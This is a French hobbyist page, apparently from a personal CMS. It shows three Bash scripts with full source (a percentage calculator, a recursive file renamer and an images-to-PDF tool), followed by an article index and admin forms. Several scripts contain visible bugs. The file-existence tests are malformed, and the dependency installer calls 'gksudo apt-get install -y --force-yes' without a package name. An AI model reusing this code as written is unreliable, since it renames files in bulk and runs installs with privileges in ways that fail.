done


F100 For 100%

F100 permet de calculer, appliquer ou récupérer rapidement un pourcentage.

Exemple de commande:$ ./f100 -c 120 36
30%
Help:$ ./f100 -h
F100
GNU/GPL v3
by Be Human (human_be@rocketmail.com)

Fonctions:
    -c    Calculer un pourcentage:
Dans une assemblée de 50 personnes, il y a 31 femmes. Celles-ci représentent 62% de l'assemblée.
        f100 -c 50 31    #62%
        
    -a    Appliquer un pourcentage:
Si une assemblée de 120 personnes compte 15% de femmes, alors il y a 18 femmes dans cette assemblée.
        f100 -a 120 15    #18
        
    -f    Retrouver la valeur de référence:
Dans une assemblée il y a 36 femmes, elles représentent 30% de l'assemblée donc l'assemblée est formée de 120 individus.
        f100 -f 36 30    #120
        
Options:
    .    Affiche les chiffres après la virgule
        f100 -f 36 30 .
Code source:#!/bin/bash

calcp() {
out=$(bc << EOF
    scale = 9
    a= ( $2 / $1 )
    b= ( a * 100 )
    b
EOF
)
if $float; then
    echo "$out%"
else
    echo "${out%.*}%"
fi
}

applyp() {
out=$(bc << EOF
    scale = 9
    a= ( $2 / 100 )
    b= ( $1 * a )
    b
EOF
)
if $float; then
    echo "$out"
else
    echo "${out%.*}"
fi
}

findp() {
out=$(bc << EOF
    scale = 9
    a= ( $2 / 100 )
    b= ( $1 / a )
    b
EOF
)
if $float; then
    echo "$out"
else
    echo "${out%.*}"
fi
}

help() {
    printf "F100
GNU/GPL v3
by Be Human (human_be@rocketmail.com)

Fonctions:
    -c\tCalculer un pourcentage:
Dans une assemblée de 50 personnes, il y a 31 femmes. Celles-ci représentent 62\x25 de l'assemblée.
        f100 -c 50 31\t\x2362\x25
        
    -a\tAppliquer un pourcentage:
Si une assemblée de 120 personnes compte 15\x25 de femmes, alors il y a 18 femmes dans cette assemblée.
        f100 -a 120 15\t\x2318
        
    -f\tRetrouver la valeur de référence:
Dans une assemblée il y a 36 femmes, elles représentent 30\x25 de l'assemblée donc l'assemblée est formée de 120 individus.
        f100 -f 36 30\t\x23120
        
Options:
    .\tAffiche les chiffres après la virgule
        f100 -f 36 30 .\n"
}

if [ $# -gt 2 ]; then
    if [ $# -eq 4 ]; then
        if [ "$4" == "." ];then
            float=true
        else
            float=false
        fi
    else
        float=false
    fi
    if [ "$1" == "-c" ];then
        calcp $2 $3
    elif [ "$1" == "-a" ];then
        applyp $2 $3
    elif [ "$1" == "-f" ];then
        findp $2 $3
    elif [ "$1" == "-h" ];then
        help
    else
        echo "[!] Option inconnu [!]"
        help
    fi
else
    if [ "$1" == "-h" ];then
        help
    else
        echo "[!] Mauvais nombre d'arguments [!]"
        help
    fi
fi


RCN Recursive Correction of Names

RCN permet de renommer de façon récursive tous les fichiers est dossiers (un bug subsiste pour les dossiers). J'ai fait ce script pour corriger un bug lors de l'extraction d'un fichier ISO, celui-ci ajouter ';1' à chaque fin de fichier.

Exemple de commande:$ ./rcn -s "$HOME/ton_dossier" ";1"
Help:$ ./rcn -h
RCN Recursive Correction of Names
GNU/GPL v3
by BeHuman (craft@ckdevelop.org)

Utilisation:
    rcn

Fonctions:
    Fichier:
        -A Ajout de caractère au début
        -a Ajout de caractère en fin
        -s Substitution de caractère Dossier:
        -dA Ajout de caractère au début
        -da Ajout de caractère en fin
        -ds Substitution de caractère
    Options: -h Afficher l'aide
Code source:#!/bin/bash

help() {
    printf "RCN Recursive Correction of Names
GNU/GPL v3
by Be Human (craft@ckdevelop.org)

Utilisation:
    rcn
    Fonctions:
        Fichier:
            -A Ajout de caractère au début
            -a Ajout de caractère en fin
            -s Substitution de caractère Dossier:
            -dA Ajout de caractère au début
            -da Ajout de caractère en fin
            -ds Substitution de caractère
        Options: -h Afficher l'aide"
}
AddStart() {
    while read filename; do
        filen=`echo ${filename##*/}`
        dirn=`echo "$filename" | sed s/"$filen"//g`
        mv "$filename" "$dirn$2$filen"
    done < <(find "$1" -type $3)
}
AddEnd() {
    while read filename; do
        mv "$filename" "$filename$2"
    done < <(find "$1" -type $3)
}
Sub() {
    while read filename; do
        filen=`echo ${filename##*/} | sed s/"$2"//g`
        dirn=`echo "$filename" | sed s/"$2$filen"//g`
        mv "$filename" "$dirn$filen"
    done < <(find "$1" -type $3)
}

if [ $# -eq 3 ]; then
    if [ -d !"$2" ]; then
        echo "[!] $2 n'existe pas [!]"
        help
    elif [ "$1" == "-A" ];then
        AddStart "$2" "$3" f
    elif [ "$1" == "-a" ];then
        AddEnd "$2" "$3" f
    elif [ "$1" == "-s" ];then
        Sub "$2" "$3" f
    elif [ "$1" == "-dA" ];then
        AddStart "$2" "$3" d
    elif [ "$1" == "-da" ];then
        AddEnd "$2" "$3" d
    elif [ "$1" == "-ds" ];then
        Sub "$2" "$3" d
    elif [ "$1" == "-h" ];then
        help
    else
        echo "[!] Option inconnu [!]"
        help
    fi
else
    if [ "$1" == "-h" ];then
        help
    else
        echo "[!] Mauvais nombre d'arguments [!]"
        help
    fi
fi


IMGS2PDF Créer un fichier PDF avec un lot d'images

Comme signaler dans le titre imgs2pdf permet de créer un fichier PDF avec un lot d'images. Cependant ce script utilise zenity pour interagir et imagemagick pour le traitement. Avec l'option -h une détection des dépendances est effectuée. Si vous lancez le script sans option et que certaines dépendances manques, une installation automatique via apt-get sera lancé. bref tous est dans le script

Commande:$ ./imgs2pdf
Help:./imgs2pdf -h
imgs2pdf
GNU/GPL v3
by Be Human (human_be@rocketmail.com)
Description:
    Créer un fichier PDF avec un lot d'images
Dépendances:
    zenity         true
    imagemagick     true
Code source:#!/bin/bash

directory() {
dir=`zenity --file-selection \
--title "imgs2pdf -Emplacement-" \
--text "Choisir un répertoire" \
--filename "$HOME" \
--directory`
if [[ $dir != "" ]]; then
    cd "$dir"
    run
fi
}

run() {
ext=`zenity --entry \
--title "imgs2pdf -Type d'image-" \
--text "Choisir un type d'image" \
jpg JPG png PNG`

out=`zenity --entry \
--title "imgs2pdf -Choix du nom-" \
--text "Nom de sortie du fichier pdf\npour l'emplacement $dir"`

convert *.$ext "$out.pdf"| zenity --progress \
--title "imgs2pdf -$out-" \
--text "Création du PDF en cours..." \
--auto-close \
--pulsate

cp "$out.pdf" "$dirout"
rm -rf "$out.pdf"
directory
}

help() {
    printf "imgs2pdf
GNU/GPL v3
by Be Human (human_be@rocketmail.com)
Description:
    Créer un fichier PDF avec un lot d'images
Dépendances:
    zenity         $zen
    imagemagick     $ii\n"
}

iDeps() {
gksudo "apt-get install -y --force-yes" | zenity --progress \
--title "Installation dépendances" \
--text "Installation de $1 en cours..." \
--auto-close \
--pulsate
}

if [ -f !"/usr/bin/zenity" ]; then
    zen=false
else
    zen=true
fi
if [ -f !"/usr/bin/convert" ]; then
    ii=false
else
    ii=true
fi
if [ $# -ge 1 ]; then
    
    help
else
    if [ -f "/usr/bin/apt-get" ]; then
        if ! $zen; then
            iDeps "zenity"
        fi
        if ! $ii; then
            iDeps "imagemagick"
        fi
    fi
    dirout=`zenity --file-selection \
--title "imgs2pdf -Destination-" \
--text "Choisir un répertoire de destination" \
--filename "$HOME" \
--directory`
    if [ -d "$dirout" ]; then
        directory
    fi
fi


Liste des articles

Principal:

(home) (00-HOME)    Accueil    Partage    Éditer    Supprimer
(fleex_00) (01-FleeX)    Flee☠    Partage    Éditer    Supprimer
(malokal_00) (02-Malokal)    Malokal    Partage    Éditer    Supprimer
(gscms_00) (03-GSCMS)    GeekSheetCMS    Partage    Éditer    Supprimer

Python:

(index.cgi - xee_00) (12-02-16-15:00:27-index-behuman)    Xee XMPP Bot    Partage    Éditer    Supprimer
(index.cgi - bf57_00) (12-02-16-14:58:40-index-behuman)    BF57 Brute Force Web    Partage    Éditer    Supprimer
(index.cgi - bf47_00) (12-02-16-14:54:07-index-behuman)    BF47 Brute Force Generator    Partage    Éditer    Supprimer
(index.cgi - gecl_00) (12-02-16-13:22:01-index-behuman)    GECL (Graph Editor Command Line)    Partage    Éditer    Supprimer

Glade2Script:

(index.cgi - deskwall_00) (12-02-16-13:24:45-index-behuman)    DeskWall changer de fond d'écran pour Nautilus, PCManFM, Rox, Feh    Partage    Éditer    Supprimer
(index.cgi - sylaba2_00) (12-02-16-13:23:04-index-behuman)    Apprendre à lire les syllabes à deux lettres avec Sylaba2    Partage    Éditer    Supprimer
(index.cgi - gunity_00) (12-02-16-12:45:57-index-behuman)    GUnity configurer votre bureau Unity    Partage    Éditer    Supprimer

Bash:

(index.cgi - f100_00) (12-02-16-15:06:15-index-behuman)    F100 For 100%    Partage    Éditer    Supprimer
(index.cgi - conf_00) (12-02-16-15:05:24-index-behuman)    CONF éditeur de fichier de configuration    Partage    Éditer    Supprimer
(index.cgi - imgs2pdf_00) (12-02-16-15:03:57-index-behuman)    IMGS2PDF Créer un fichier PDF avec un lot d'images    Partage    Éditer    Supprimer
(index.cgi - rcn_00) (12-02-16-15:02:18-index-behuman)    RCN Recursive Correction of Names    Partage    Éditer    Supprimer

Manuels:

Liste des fichiers
* Champs requis

557002sylaba2.png    Supprimer

GECL_test.png    Supprimer

Le voyage de Lucas.sb    Supprimer

Le_monde_est_a_nous.ogg    Supprimer

Urh2-r245-src.tar.gz    Supprimer

anonymous.ogg    Supprimer

assistux_10_09_24_1717_i386.deb    Supprimer

capture-gunity-1.png    Supprimer

capture-gunity-2.png    Supprimer

capture-gunity-3.png    Supprimer

capture-xee-bot-1.png    Supprimer

capture-xee-bot.png    Supprimer

deskwall.png    Supprimer

gunity-11.05.13_g2s2.2.3beta5ckd.tar.bz2    Supprimer

plop.ogg    Supprimer

plop2.ogg    Supprimer

upnpng_10_09_i386.deb    Supprimer

voyager.ogg    Supprimer



Envoyer un fichier

Fichier:

* Utilisateur:


* Mot de passe:



Ajouter un article
* Champs requis

* Catégorie:  + 


* ID:

* Titre:

Édito:

Contenu:

Pied:

* Utilisateur:


* Mot de passe:

Ajouter un article

L'article à bien été ajouté.
Redirection en cours

Éditer un article

L'article à bien été édité.
Redirection en cours

ERREUR

Une erreur est survenue.
Redirection en cours

Ajouter une feuille

La feuille à bien été ajouté.
Redirection en cours